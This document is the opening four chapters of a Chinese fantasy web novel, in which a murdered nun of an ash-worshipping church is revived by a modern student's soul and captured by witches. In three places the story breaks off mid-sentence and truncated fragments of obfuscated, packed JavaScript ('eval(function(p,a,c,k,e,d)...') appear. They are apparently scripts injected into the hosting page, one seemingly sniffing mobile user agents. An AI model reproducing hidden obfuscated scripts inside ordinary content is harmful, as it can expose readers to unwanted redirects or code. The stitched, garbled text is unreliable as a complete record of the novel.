《救世主?不,是第一政委!【西幻】》 1. 第1章 “灰烬之主,无上者,净化之源......您的意志便是终结,您的火焰便是唯一的真理。” “我,卑贱的尘埃,生于您净化后的余烬......千年前大湮灭的圣焰,焚尽旧世的腐朽,焚尽那亵渎与堕落的书卷......唯有彻底的焚毁,唯有彻底的灰烬,才能孕育纯净。” 混合着汗臭、劣质麦酒和陈腐气味的狭小旅馆房间中,一个枯瘦的年轻修女正跪在低矮的硬板床边祷告,她把双手紧紧交握在胸前,她的声音很低,带着一种机械的韵律。 油腻的烛火在她身旁挣扎,将她变形扭曲的影子投在斑驳的墙壁上,仿佛一个无声尖叫的鬼魂。 “赞美您的冷酷,赞美您的毁灭,唯有在您绝对的净化之威前,我们才得以卑微地存在......宽恕我,宽恕这躯壳中残留的旧世尘埃,宽恕那不该有的软弱与疑惑......将我的每一丝不洁,投入您的净化之焰......将我的意志锻打成铁,烧成灰烬,只为您重铸。” 祷告进行到最后,修女仿佛已经筋疲力尽,她将苍白的额头抵住床沿的木框,灰色兜帽的阴影彻底吞噬了她的脸。 她维持着这个姿势,一动不动,房间里只剩下她压抑的呼吸声。 就在这时,修女身后传来一声女人的冷笑。 这笑声仿佛是从修女身后那片浑浊压抑的空气里凭空凝结出来的,短促尖锐,毫无预兆的撕裂了房间里的寂静。 听到这恶意满满的笑声,修女麻木已久的血液在这一瞬间沸腾,原始的动物本能使她麻利地从地上爬起,向房门的方向跑去。 “救——!” 背后难以想象的剧痛将修女的呼救声封在了喉咙里,一柄匕首从她后背左侧狠狠凿入,精准的穿透了粗布袍子,撕裂皮肉,捣碎肋骨,直刺那颗在胸腔里狂跳的心脏。 修女仿佛一个被抽出了骨架的布娃娃,软绵绵的向前栽倒,额头重重的砸在冰冷肮脏的地板上,发出沉闷的“咚”一声。 她的视野在剧痛和失血的冲击下猛烈摇晃、变暗、收缩,只剩下眼前地板缝里一撮油腻的灰尘。 她艰难地呼吸着,每一次徒劳的吸气都带着肺叶被刺穿的剧痛和满嘴的血腥味儿。 温热粘稠的液体正迅速浸透她背后的衣袍,带着生命流逝特有的、令人作呕的暖意。 修女用尽最后残存的力气,艰难的、极其缓慢的转动眼珠,向上看去。 在她逐渐模糊被血丝浸染的视野边缘,在那刚刚还空无一物的肮脏墙角,空气开始波动扭曲,仿佛有一层无形的帷幕被缓缓掀开。 一个身影像从地狱里浮出的恶魔,由淡至浓,无声无息的显现出来。 那是一个全身包裹在黑色劲装中的高挑女子,她的衣服似乎是特制的,没有一丝反光。 她的脸上也蒙着漆黑的布巾,只露出一双眼睛。 那双眼睛在摇曳的昏暗烛光下,仿佛两块深冬河床上冻结的黑色燧石,冰冷、坚硬,没有丝毫波澜。 她的站姿非常放松,甚至带着一丝慵懒,仿佛刚刚只是随手掸掉了一点灰尘,而不是将一柄匕首送进了一个活人的心脏。 她居高临下的俯视着风中残烛般的修女,看到她瞳孔里生命的光芒迅速暗淡下去,蒙面女人开口了。 她的声音清晰平静,毫无感情,但是她的话却像冰锥一样刺穿了修女最后的意识: “你快死了,你的神在哪里?” 话音落下的瞬间,修女眼中最后一点微弱的光,彻底熄灭了。 她的身体瘫软在地板上,那双曾经充满虔诚的眼睛,此刻空洞的瞪着低矮的天花板,眼中再无情绪。 蒙面女子在尸体旁静立了片刻,随后她蹲下身,先后试了下修女的脉搏和鼻息,确认无误后,她握住插在修女背后的匕首,猛然一拔。 刀刃离开尸体时,发出一声黏腻的轻响,鲜血顺着刀刃滴落,在地板上溅出几朵暗红的花。 蒙面女人站起身,随意甩了甩匕首。 她的身形开始模糊,仿佛融入了某种无形的黑暗,几秒钟后,她彻底消失了,房间里只剩下修女的尸体,和一滩仍在缓慢扩大的血迹。 …… 不知过了多久,窗户忽然动了。 原本紧闭的布满灰尘的窗框发出轻微的吱呀声,像是被一阵不存在的风吹开。 夜色中,一只冰蓝色眼睛的雌鹰悬停在旅馆三楼的窗外,而它的爪子,正抓着一个女人的肩膀——一个美得近乎不真实的女人。 她的脸小巧而精致,颧骨高而分明,皮肤苍白的近乎透明,仿佛从未被阳光触碰过。深褐色的卷发垂至肩膀,在月光下泛着红酒般的暗红光泽。 她的眼睛是最引人注目的,而深邃虹膜呈现出一种诡异的淡紫色,仿佛永远带着一丝若有若无的讽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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那个叫贝克特的英气女子直起身,拢了拢头发,神情有些烦躁:“灰烬教廷的狗,死了也是活该,遗憾的是不能亲自动手……现在怎么办?” 奥罗拉耸了耸肩,眼眸在快燃尽的烛火下闪烁:“烧了吧,看看她的灰烬之主能不能收留她——呵呵,如果他真的存在的话。” 说完,她伸出手,一股幽绿色的火焰凭空出现,瞬间吞噬了修女的尸体。 然而火焰舞动了十几秒,地上的“尸体”居然毫发未伤,甚至连那身粗糙的灰色修女袍都没有丝毫被点燃的迹象。 那幽绿色的火焰仿佛只是在她身体表面流淌的无害的冰冷磷光,未能侵入分毫。 2. 第2章 奥罗拉和贝克特的身形瞬间绷直了,尤其是贝克特,她冰蓝色的瞳孔骤然收缩。 “奥罗拉!”她的声音失去了那份沉稳,变得短促而锐利。 “我看到了!我先把火焰收了,再仔细检查一下。”奥罗拉的声音也带着一丝不易察觉的动摇。她将手腕一翻,那诡异的绿色火焰如同被无形的漩涡收走,瞬间熄灭,无影无踪,只留下房间里被火焰熏烤过后的灼热空气。 两人互视一眼,随后目光都仅仅锁定在地上的修女尸体上。 刚才被火焰覆盖的地方,果然毫发无损。不仅如此—— 贝克特猛地向前一步,蹲得更低,几乎凑到修女面前。她的眼里充满了难以置信:“奥罗拉……你看!” 奥罗拉无声的移动到尸体旁,紫色的眼眸锐利如鹰隼,她也看到了。 修女那灰白色的脸上,原本凝固的惊愕表情不知从何时起,似乎……松动了一些? 更关键的是,她那平坦的胸口,极其微弱的、但确实的,有了起伏!虽然微弱如残烛,但那确实是呼吸的迹象。 奥罗拉和贝克特合力把修女翻过来,两人的目光同时被她后背处的伤口吸引。 暗红的血迹依然浸染着布料,但诡异的是,那些流淌出来的稠的血液此刻正如同拥有生命般,极其缓慢地、违反常识地向伤口内部倒流回去! 而随着血液的倒灌,那狰狞的伤口边缘的皮肉,正以肉眼可见的缓慢速度蠕动、收拢、愈合! “天啊!” 贝克特低语,声音充满了震惊和困惑,她下意识地退后了半步。 “她不是死透了吗?心脏被刺穿,血都快流干了!这究竟是怎么回事?” 贝克特猛然转头看向奥罗拉,眼睛里充满寻求答案的迫切,“难道……她也是女巫?是我们的同类?这是血肉魔法吗?她……会是那个……女巫的救世主吗?” 看着贝克特混合了震惊和希冀的模样,奥罗拉当然知道她在想什么,不就是预言女巫梦露临死前留下的那个预言嘛—— “能解读出神谕的异界女巫,就是我们最后的救赎。” 呵,奥罗拉在心中冷笑,贝克特不会以为这个异界指的是死后的世界吧?就算这个修女真的从地狱里爬出来复活,怕也是个掌握了什么邪法的怪物,绝不可能是预言中的救世主。 至于那句预言……奥罗拉对它是又爱又恨,可以说,那句预言是去世的预言女巫梦露留给她的、既宝贵又麻烦的遗产。 三年前,黑荆棘女巫互助会初创,当时只有三个成员:会长奥罗拉、辨谎女巫玛格丽特以及预言女巫梦露。 三人在洛芙拉联合王国躲避灰烬教廷势力追杀时,误入了大湮灭前的遗址幻境。 在幻境中,梦露追随着一个神秘声音的指引,找到了一个祭坛,祭坛上空荡荡的,只有一卷神谕。 当她们把那卷神谕拿下来打算观看时,幻境骤然消散,她们也奇迹般地离开了洛芙拉联合王国,出现在了铁律王朝的领土上。 暂时安全后,她们都看过了那个神谕,鬼画符一样的文字没人看得懂。奥罗拉和玛格丽特都没当回事,只有梦露着了魔似的,窝在山洞里不吃不喝不睡,就琢磨那天书。 为了扩充互助会的力量,奥罗拉和玛格丽特四下奔走营救招揽女巫,而梦露如同堕入魔障,她的法力在飞速消耗,关于神谕她却一无所获。 短短几天,年仅二十岁的梦露就已经苍老消瘦如同骷髅架子,奥罗拉两人用尽各种手段相劝,也不能让她放弃。 梦露眼睁睁地把自己熬到油尽灯枯,就在弥留之际,幻境中指引她找到神谕的声音终于再度恩赐了她启示,梦露竭尽全力把最后的预言告诉奥罗拉和玛格丽特,之后释怀地撒手人寰。 在梦露死后,奥罗拉秉持她的遗志,活得像个兜售奇迹的商贩。 她把神谕展示给遇到的每一个女巫,并询问她们是否能看懂——无论对方是否愿意加入黑荆棘,然后在对方茫然摇头时,恰到好处地叹息一声,仿佛遗憾于奇迹的缺席。 至于预言?奥罗拉不信。 尽管玛格丽特早就证实了梦露的预言是真话,但奥罗拉在内心深处,她抗拒相信。 凭什么一个“异界女巫”就能成为救世主?她奥罗拉看不懂那些鬼画符又怎么了?她坚信自己才是那个能真正带领女巫在黑暗中撕开生路的人! 神谕和它附带的感人故事,不过是她用来安抚恐惧、凝聚人心、树立权威的冰冷工具。 同样的,面对眼前看似死而复生的修女,她心中没有期待,只有权衡。 因此奥多拉没有立刻回答贝克特的问题,她再次蹲下身,动作比刚才更加谨慎。 她把手指轻轻按在修女颈侧,指尖下传来的触感让她的紫色眼眸更加幽深。 虽然微弱冰冷,但确实有了脉搏的跳动,一种极其缓慢、沉重、仿佛来自深渊的波动。 奥罗拉站起身,烛光下,她精致的侧脸半明半暗。 “同类?救世主?” 奥罗拉终于开口,声音低沉,带着一丝玩味和深重的疑虑,“一个灰烬教廷的修女?穿着他们的裹尸布,念着他们那套焚毁一切的祷词?” 她轻轻摇了摇头,“不,贝克特,血肉魔法也不能使死人复生,更何况她身上丝毫没有魔法的痕迹,至少不是我们所知的任何一种。” 奥罗拉停顿了一下,目光锐利的扫过修女慢慢恢复红润的面容。 “但她确实活过来了。在心脏被刺穿之后,在我们试图焚毁它之后。” 奥罗拉的语气变得坚定,“这超出了常理,也超出了我们的认知,我们需要答案。” 贝克特对奥罗拉否定救世主的说法有些不以为然,但她还是迟疑着问:“那怎么?补一刀,还是……” “不!”奥罗拉打断了她,眼角那抹惯常的讽刺笑意重新浮现,但这次带了一丝不容置疑的决断,“把她带回去,活着带回去。” “带回去?”贝克特有些意外,“带回营地?带着一个教廷的修女?而且……还不确定她是不是女巫?” “是的,必须带回去,”奥罗拉的目光重新落回修女身上,仿佛在看一件稀有的标本,“玛格丽特能识别谎言。如果这个修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那根即将燃尽的蜡烛最后摇曳了一下,噗地熄灭,将整个空间彻底交给了茫茫夜色。 晦暗中,从窗户照进来的微弱月光毫无征兆地“弯折”了一下。 紧接着,一个身影从那片扭曲的空气中渗了出来——来者正是先前刺死修女的神秘黑衣女子。 她出现得如此突兀,却又如此理所当然,仿佛她一直就在那里,只是刚才被空气的帘幕遮掩了。 黑衣女子径直走向敞开的窗户,深邃的目光凝视着奥罗拉等人的方向离开的方向。 极其轻微的,她的眼角似乎弯了弯,勾勒出一个略带暖意的弧度,自言自语道: “幸好她复活了,险些错杀了一个女巫姐妹……奥罗拉,安顿好这个奇怪的修女,有机会的话,我会去你们那个神秘营地看看的……” 话音落下,她身旁的空气再度剧烈波动起来,如同被无形的巨手搅动的水面,形成了一道道粘稠的涟漪。 黑衣女子的身影逐渐被阴影吞没,就像她到来时一样无声无息。 房间再度陷入昏暗。 3. 第3章 “死亡面前人人平等,走快速通道那些特权阶级也一样得死......” 这是哲学系准毕业生唐慈,在她意识消散前,挤过所有恐惧和剧痛,最后、也是最清晰的一个念头。 几分钟前,她还在为游乐园里那刺眼的“快速通道”标志而愤愤不平。 “凭什么?就凭那几个子儿?”她对着同行的室友,声音拔高,带着论文答辩后的亢奋和长期积累的愤怒:“看看,这就是活生生的阶级特权,连玩个过山车都要分三六九等!这合理吗?公平吗?” 室友用力拽了拽她的胳膊,压低声音:“唐慈!你魔怔了吧?冷静点,出来玩呢!” “我魔怔?明明是这个世界病了!”唐慈梗着脖子,被推搡着坐进了普通通道排来的过山车座位,扣上安全杆时还在不甘心地嘟囔,“……形式不平等,就是实质压迫的体现……” 然后,是引擎的轰鸣,是失控的爬升,是风灌进喉咙的窒息感,再然后…… 是过山车突然断裂时那令人牙酸的尖啸,是骤然失重、连五脏六腑都要被甩出喉咙的恐怖下坠! 死亡降临前绝望的尖叫声此起彼伏,直冲云霄。 唐慈当然也害怕到了极致,但作为一个有点魔怔的愤青,在死亡马上降临时她居然神经质地冒出了这个奇葩念头: “这很好,很公平......” 不过,短短一瞬后,她的意识就坠入了一片黑暗。 ...... 再次恢复了意识的唐慈感觉自己还在飞。 不是那种随着游乐场过山车断裂,连骨头架子都快要散架的失控飞行,而是一种奇异的悬浮感。 冷风呼呼地刮过唐慈裸露的皮肤,带来刺骨的寒意,但身体接触的地方却很柔软,像是被什么人紧紧抱着。 鼻端浮动着一种冷冽的的玫瑰香气,很淡,但固执地存在着。 这梦还挺……有质感。 唐慈模糊地想,意识像沉在粘稠的糖浆里。 曾经的记忆缓缓浮现,那时她刚刚结束论文答辩的地狱,正跟室友们在游乐园疯玩,然后……过山车突然断裂?对,她全都想起来了!那该死的、撕心裂肺的失重感,还有那一声声绝望的尖叫……接着就是一片漆黑。 她现在应该正在急救室被抢救吧?也不知道其他人都怎么样? 至于现在这种被仙女抱着的奇妙悬浮感,大概是大脑在补偿吧?她之前也不是没梦到过比这荒诞的场景...... 然而就在这时—— 轰! 仿佛有人强行撬开了她的天灵盖,将一整桶滚烫的记忆岩浆硬生生灌了进去! 尖锐的痛感从太阳穴炸开,瞬间蔓延至整个头颅,让唐慈几乎要尖叫出来,但她的嘴却被堵得严严实实无法发声。 她只能被迫接受一段段破碎的记忆画面如同失控的洪水猛兽,咆哮着冲垮了她的意识堤坝。 斯嘉丽......这些记忆属于一个叫斯嘉丽的修女。 年幼的斯嘉丽生活在一个永远灰蒙蒙的小镇,空气里飘着劣质煤灰和绝望的味道。 唐慈在记忆中看到一个狭窄的石屋,那里拥挤地住着很多人,应该都是斯嘉丽的亲人们吧......但他们的脸模糊不清,只有那一双双眼睛,永远燃烧着一种狂热又冰冷的虔诚。 墙上有一幅硕大的、模糊不清的、仿佛由灰烬构成的抽象符号,那是灰烬之主的圣徽。 在这个石屋子里,麻木的亲人们在餐前、睡前、任何时候,嘴里念叨的都是关于“大湮灭的圣洁”、“旧世的腐朽”、“唯有化为灰烬才能纯净”的低语,这些背景噪音就像精神污染一样,日积月累地渗入年幼的斯嘉丽的骨髓。 不出意外的,斯嘉丽也逐渐长成了她家人的模样,十岁时她进入了修道院,那是个比家更灰暗、更压抑的石头盒子,在那里的岁月是褪色的—— 粗糙的灰色修女袍磨蹭着稚嫩的皮肤,冰冷的水桶,永远扫不干净的灰尘,跪在硬石板上麻木地重复着那些令人窒息的祷词:“赞美您的毁灭……宽恕我的软弱……” 世界被压缩在修道院的高墙之内,外面是什么?不知道,也不重要。 唯一重要的是“灰烬之主的意志”。 斯嘉丽就像一颗被精心打磨的小零件,被嵌入灰烬教廷这架庞大、冷酷、散发着坟墓气息的机器里。 虔诚?或许吧,但更像是一种被彻底规训后的、深入骨髓的习惯性服从。 毕竟从小的教育一直告诉她,思考是多余的,外界是危险的,唯有教廷的训导是唯一的真理。 两个月前,油腻肥胖、脸上时刻挂着虚伪恶心的假笑的汤姆神甫把斯嘉丽叫到跟前。 他夸赞她可靠、纯净,然后,就像在分配一份最普通的杂役一般,将她打发去了地图上遥远的、用粗红线圈注的“铁律王朝”边境小城传教。 没有解释,没有援助,只有一句“为圣火开拓前路”。 斯嘉丽并不知道铁律王朝是大陆七国里最排斥教廷势力的国家,就算知道她也不会反抗,她心中甚至从没有过反抗的念头。 接受了神甫的任务后,她只有一种被选中的、混杂着恐惧和病态荣耀感的麻木。 然后她就出发了,苦行僧般走了两个月,双脚磨出血泡,睡在泥地里,啃着吃了一辈子的黑面包,终于抵达那个叫“渡鸦隘”的边境小城。 这里个荒凉的地方不被灰烬之主的神恩笼罩,因此,人们看向她的眼神很不友好。 但是斯嘉丽不在意,进城后她找了个最便宜的破旅店住下,至此,她疲惫的旅程终于结束。 但斯嘉丽没想到的是,她的生命也走到了尽头。 走马灯一样,唐慈很快看到了斯嘉丽最后的记忆碎片,她甚至感受到了那股濒死的冰冷和绝望—— 那声凭空响起的、毒蛇般的女人冷笑...... 后背心脏位置那爆炸性的剧痛...... 栽倒在地板上,粗糙的木纹在眼前放大,嘴里全是铁锈味…… 那个墙角浮现的、全身包裹在黑色里的冷漠身影...... 那双毫无感情的眼睛...... 还有那句刺入灵魂的嘲讽:“你快死了,你的神在哪里?” ...... 记忆的洪流戛然而止。 唐慈的意识在剧痛和信息的泥沼中挣扎出来,像溺水者终于冲破水面,剧烈地喘息着。 冷汗浸透了她的后背,粘在粗糙的布料上。 玫瑰香气还在,冷风还在刮,身体还在飞行状态中被抱着。 但一切都不一样了。 这不是梦。 这是冰冷、残酷、带着血腥味的现实,不是梦。 天啊,她居然穿越了...... 这个念头带着彻骨的寒意,清晰地浮现。 她不再是哲学系学生唐慈,至少不完全是。 她是斯嘉丽,一个被洗脑了一辈子的灰烬教廷底层修女,一个刚刚在边境旅店被神秘杀手一刀毙命的可怜虫。 她脑子里塞满了十八年灰暗、压抑、除了宗教狂热外几乎一片空白的记忆。 新世界? 唐慈强忍着混乱和不适,努力梳理着斯嘉丽那信息量少得可怜的记忆碎片。 若非这次被“发配”的旅途,斯嘉丽的世界恐怕只有修道院方寸之地。即便跋涉两月,她也只是埋头赶路,对外界视若无睹。 唐慈拼尽全力,最终也只拼凑出极其有限且模糊的情报: 灰烬教廷,盘踞在大陆中央的银隙圣地。其神学架构,在唐慈这个受过系统哲学训练的头脑看来,充满了逻辑漏洞和原始蒙昧,粗糙得近乎可笑。 然而,在千年前一场被称为“大湮灭”的灾难后,它却如同汲取了化肥的藤蔓般疯狂滋长,成了众多新成立国家从上到下的精神支柱。 按照教廷的说法,由灰烬之主主导的大湮灭彻底“净化”了大陆过去的腐朽文明,之后教廷五芒星议会的主教们根据“神启”,在银隙圣地周围,扶持了七个新兴国家,并做主“帮”他们划分了疆域。 最初,这七个国家无一例外地匍匐在灰烬教廷脚下,奉其为国教。但是在四十年前,这个惯例被铁律王朝——也就是斯嘉丽被派去的国家——的上上任君主亚瑟给打破了。 这位勇士不知为何突然朝境内的教廷势力挥刀,顶着巨大压力颁布了一纸法令,要将铁律王朝内所有教廷人员扫地出门。可惜还未开始执行,亚瑟便意外离世,将这副烂摊子留给了他的儿子拉斐尔。 新王拉斐尔比他父亲更“头铁”。他带着一身自小在军营里淬炼出的冷硬杀气,率领着王朝最精锐的铁骑,如同巨大的铁犁,一寸寸碾过国土,几年时间,他终于将那些盘根错节、负隅顽抗的教会据点连根拔起,彻底清除了了王朝的版图上的灰烬。 讽刺的是,命运似乎总爱给挑战者一个响亮的耳光。两年前,就在拉斐尔国王四十岁生日庆典上,一支不知从何处射来的冷箭,精准地终结了这位铁腕君王的生命和他雷霆万钧的统治。铁律王朝的臣民都认为这是教廷的报复,而教廷对此的解释则是“神罚”。 无论如何,铁律之王的冠冕就此落在了亚瑟的孙子、拉斐尔的儿子、铁律王朝现任君主——朱利安头上。这位年仅十九岁的国王似乎完美继承了家族那根“反骨”,他毫不犹豫地扛起祖父和父亲留下的、染血的旗帜,延续着那份对灰烬教廷刻骨的、毫不掩饰的敌意。 只是,在灰烬信仰根深蒂固的其他六国,当百姓们提起朱利安的名字时,后面几乎都自动跟着一句意味深长的、带着幸灾乐祸的注脚——“喏,又一个……赌不赌这位小国王能活到第几个年头?”在这些教民眼中,铁律王朝的王座,似乎自亚瑟 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各国贵族老爷们的高墙深院的建筑风格不同,但都不约而同的隔绝了泥泞与苦难,宛如世外桃源;而底层人,他们长着一张张和斯嘉丽亲人神似的麻木面孔,他们的生活只有沉重的劳作、冰冷的祈祷和在泥泞中无声的挣扎。 关于这些可怜人,有太多带着血腥味和绝望气息的记忆片段在唐慈脑中不断翻腾: 路过洛芙拉联合王国一个破败小镇时,斯嘉丽曾看到一位枯瘦如柴的农妇因交不出“信仰奉献金”,被修士在教堂前的阴影下当众鞭笞,肿胀的鞭痕深深刻在褴褛衣衫下的脊背上,周围跪着的村民眼神空洞,只有低声的祈祷...... 不久后,在霜颅氏族领地下的一个矿区内,唐慈跟着斯嘉丽的视角又看到惨绝人寰的一幕:在野蛮的士兵们屠杀了交不出税的一家农户后,高头大马上的征税官随即便从邻居家吓傻的孩子手中,毫不留情地夺走了那仅剩的一点存粮...... 类似这样的人间惨剧,在这片异世大陆实在是太过寻常。 因此,沉浸于斯嘉丽的记忆越深,唐慈心中怒焰便燃得愈烈,她几乎能听到自己血液在血管里因愤怒而加速奔涌的声音。 这感觉如此熟悉,又如此陌生。 熟悉的是那深入骨髓的对不公的憎恶,陌生的是这憎恶第一次如此真实地、具象地呈现在她眼前。 这不是网络上只能敲键盘批判的历史案例,而是活生生、血淋淋、随时都有可能发生的现实! 但换个角度想,这……这不就是她以前幻想过的、最理想的战场吗?一个活生生的、亟待被批判的旧世界! 被怒火烧起来的使命感,如同沉寂已久的火山在唐慈胸腔深处猛然苏醒、翻涌,像极了她前世深夜刷到一篇针砭时弊的文章后,忍不住在寝室床上虚空挥拳的冲动。 她终于不用再对着虚无缥缈的赛博空间和那个无力改变的现代世界,徒劳地敲打“全世界无产者联合起来”了!她那积攒了二十多年、在象牙塔里无处安放的理论激情和批判欲,终于找到了一个真实的、可以倾泻的目标! 去他的“毕业即失业”!去他的“文科无大用”!通通滚蛋! 可是...... 唐慈的兴奋并没有持续太久,因为她的脑中蓦然浮现出斯嘉丽磨出血泡的脚、啃了一路的黑面包、以及教会触手所及之地那些普通人麻木又灰暗的脸庞。这些冰冷的现实,如同一根尖针,瞬间刺破了她短暂的、近乎病态的亢奋。 广阔天地?大有作为? 可她现在是谁?一个刚被捅死的底层修女,手无缚鸡之力,身无长物,还被一个不明身份的家伙抱着在天上飞!下一步是生是死都未可知,她拿什么作为? 退一万步讲,就算现在处境安全,她能做的似乎也实在有限。 想批判......可她最有利的“武器”——键盘在哪里? 想联合......联合谁?是联合那些看到她身上灰袍就面露厌恶的铁律王朝边民?还是联合那些像斯嘉丽家人一样,眼中只有灰烬之主的狂热信徒? 她甚至能想象出自己试图宣讲时,对方眼中那呆滞、困惑,甚或充满敌意的目光。 “改造世界?唉......” 一股熟悉的、面对宏大命题时的无力感悄然爬上心头,唐慈无声地咀嚼着这四个字,只觉得它们沉重得压得她喘不过气,又遥远得像天边的星星。 光是想想那可能需要的漫长斗争、无尽危险和难以想象的付出,就让她本能地想回到安全得多的现代世界。 问题是,她大概回不去了...... “唉……”一个微弱的叹息在唐慈意识深处响起,带着点自嘲,也带着点认命的疲惫,给自己找了个最俗套的台阶: “能咋整呢,来都来了。好歹先搞清楚抱着我飞的是谁,落地了能不能活过今晚......总不能真躺平等死吧?那不是白穿越了!” 4. 第4章 纷乱的思绪像一团纠缠的乱麻,塞满了唐慈刚经历死亡与重生的头颅,在这股精神上的强力干扰下,她竟完全忽略了这场诡异飞行持续了多久。 直到那股包裹着她的稳定感开始倾斜下沉,她才从左右脑互搏的纠结中惊醒。 她似乎是在下降。 失重感越发明显,冷风更猛烈地灌进她的衣领,让唐慈下意识地绷紧了全身的肌肉。 当抱着她的女人双脚终于踩在坚实的地面上时,那“脚踏实地”的感觉非但没有带来丝毫安全感,反而像一把冰冷的锤子,将唐慈最后一点侥幸心理砸得粉碎。 理想再丰满,也填不饱肚子,更挡不住刀! 砸碎旧世界的第一前提是保存有用之身,然而鬼知道等待她的究竟是什么? 之前试图逃避的问题接连涌进唐慈的脑海:抱着她的人属于什么势力?教廷的宗教裁判所?还是什么唐慈不了解的......更糟的存在? 她的CPU开始疯狂运转,试图调用斯嘉丽那贫瘠得可怜的记忆库进行综合分析,结果只得出一个结论:信息严重不对称。 她对这个世界的了解,连皮毛都算不上,简直就是个睁眼瞎。 惨啊……面对谜团一样的残忍现实,唐慈决定贯彻“敌不动我不动”的鸵鸟战术,好吧,除了这样她也没有别的路可走。 于是,唐慈就这样掩耳盗铃地维持着“重度昏迷”的姿态,她的眼皮在粗糙布条的眼罩下死死闭着,心脏却在胸腔里擂鼓般撞击。 走着走着,空气的味道变了......那是一种混合了湿润泥土、腐烂落叶、某种浓郁草药和篝火燃烧的烟火气。 四周开始有声音,起初是零星的、模糊的低语,接着越来越多,越来越清晰。 ......都是女人的声音。 沙哑、清脆、慵懒、急促……各种音色交织在一起,形成一种奇异的、充满生命力的嘈杂背景音。 有人在低声争论什么,有人在哼唱不成调的曲子,有金属工具碰撞的轻响,有火焰燃烧的噼啪声…… 这种生机勃勃的喧嚣,与斯嘉丽记忆中修道院的死寂、城镇的麻木截然不同。 它原始、粗糙,甚至有点吵闹,却像一剂强心针,让唐慈紧绷的神经不由自主地、极其微弱地松弛了一丝缝隙: 啊,生命!这是鲜活的生命在活动!这本身不就是最值得赞美的存在形式吗…… 打住打住,这场合对吗你就在这抒情?唐慈在心中赏了自己一个大比兜,继续乖乖装死。 走了一会儿,抱着唐慈的人突然停了下来,她感觉到自己被小心地放置下来,屁股接触到某种硬质的、冰凉的东西,像是一张石凳或木凳。 粗糙的麻绳迅速而熟练地缠绕上她的手腕、脚踝,将她固定在凳子上,绳结勒进皮肉里,带来清晰的束缚感。 唐慈的心脏狂跳,几乎要冲破喉咙,但她仍然尽量一动不动,扮演一具合格的尸体。 然而,毫无预兆地,四周那乱糟糟的、充满生机的、让唐慈刚放松一点的嘈杂声音,瞬间消失了。 绝对的、令人窒息的寂静笼罩下来。 只有远处隐约的虫鸣和篝火的噼啪声,反而将这死寂衬托得更加沉重、更加压迫。 穿越不是闹着玩的......这个认知从未如此刻骨铭心。 唐慈感觉自己像被孤零零地遗弃在真空里,黑暗和未知带来的恐慌感如同冰冷的潮水,瞬间淹没了她,她甚至能听到自己血液在耳朵里奔流的轰鸣声。 眼睛被蒙住,嘴巴被堵住,手脚被捆住,置身于一片诡异的寂静之中。 她就像一块被放在砧板上的肉,等待着屠夫挥下屠刀。 时间在死寂中缓慢地、沉重地爬行,每一秒都像一个世纪那么长。就在唐慈的神经绷紧到几乎要断裂的边缘时,她口中的手帕被抽走。 一个声音在她紧绷的意识里浮现。 这是一个女人的声音,异常地温柔,像天鹅绒拂过冰冷的皮肤,又像林间最清澈的溪流。 她用的是这个世界的通用语,斯嘉丽的记忆让唐慈瞬间理解了每一个音节。 “请别装了,如实回答,你是谁?” 这温柔的问话,在此刻的情境下,却带着一种洞穿灵魂的恐怖力量。 肌肉记忆一般,斯嘉丽那被规训了十八年的身份几乎要脱口而出——“我是斯嘉丽,灰烬之主的卑微仆人……” 但是这个念头刚刚升起,就被回过神来的唐慈生生掐断了,她努力让自己的声音听起来平稳,但出口时仍然嘶哑地难听:“我叫斯嘉丽。” “不,你在撒谎!说实话!”那个声音陡然拔高,带着直击灵魂不容回避的穿透力。 唐慈脑子嗡的一声,瞬间一片空白。 被识破了?!怎么会这么快?!这完全不按剧本走啊! 开局就被揭穿身份,她简直就是穿越者行业里的耻辱,还是垫底的那种…… 可事情到了这一步,耻辱也只能是耻辱了,对方也许是有什么手段能辨别她说的真假,硬抗下去只会死得更惨,这回只能把老底儿交代出去了...... 唐慈张了张嘴,干涩的喉咙摩擦着,发出嘶哑的、几乎不像人声的音节,带着一种破釜沉舟的决绝: “我……我是唐慈。” 寂静。 死一般的寂静持续了几秒,那声音恢复了温柔再次响起,带着一丝毫不掩饰的惊奇,仿佛在品味一个从未听过的音节: “唐慈?……好奇怪的名字。”声音顿了顿,接着问,温柔依旧,却带着不容回避的穿透力:“你是女巫吗?为什么能死而复生?” 死而复生!这个词像重锤砸在唐慈心上。对方果然知道她“死”过! 这一点彻底击碎了她最后一丝侥幸。 她舔了舔干裂的嘴唇,放弃了任何伪装,声音颤抖但清晰地回答: “我……我不是死而复生。我……来自另一个世界,一个神奇的大陆。这个身体……原本主人的灵魂,在……在被杀的时候,已经消散了。我……我只是……取代了她。”她艰难地组织着语言,“至于我是不是女巫……我自己……真的不清楚。” 这一次,那温柔声音里的惊奇更加浓郁了,仿佛平静的湖面被投入了一颗大石: “另一个世界?取代?”声音的主人似乎消化了一下这匪夷所思的信息,随后又问道: “那你知道原本的修女是怎么死的吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“我不认同!”唐慈几乎是嘶吼着喊出来,声音因激动而尖锐破音,“我绝不认同教会和那些世俗权力对女巫的迫害和污名化!那是残忍的、是错误的,是彻头彻尾的、反人类的暴行,是教廷维持其愚民统治和转移矛盾的可耻手段!” 她的话音落下,像一颗石子投入深潭。 那片绝对的、令人窒息的寂静再次降临,比之前更加沉重。 完了,冲动了……但,骂得真爽! 唐慈摆烂了,她静静听着自己擂鼓般的心跳,等待着未知的宣判。 几秒钟后,就在她以为自己要被某种无形的力量碾碎时,一只微凉、柔软的手轻轻触碰到她的脸颊。 她还没反应过来,挡在眼前的粗糙布条被轻柔地取下了。 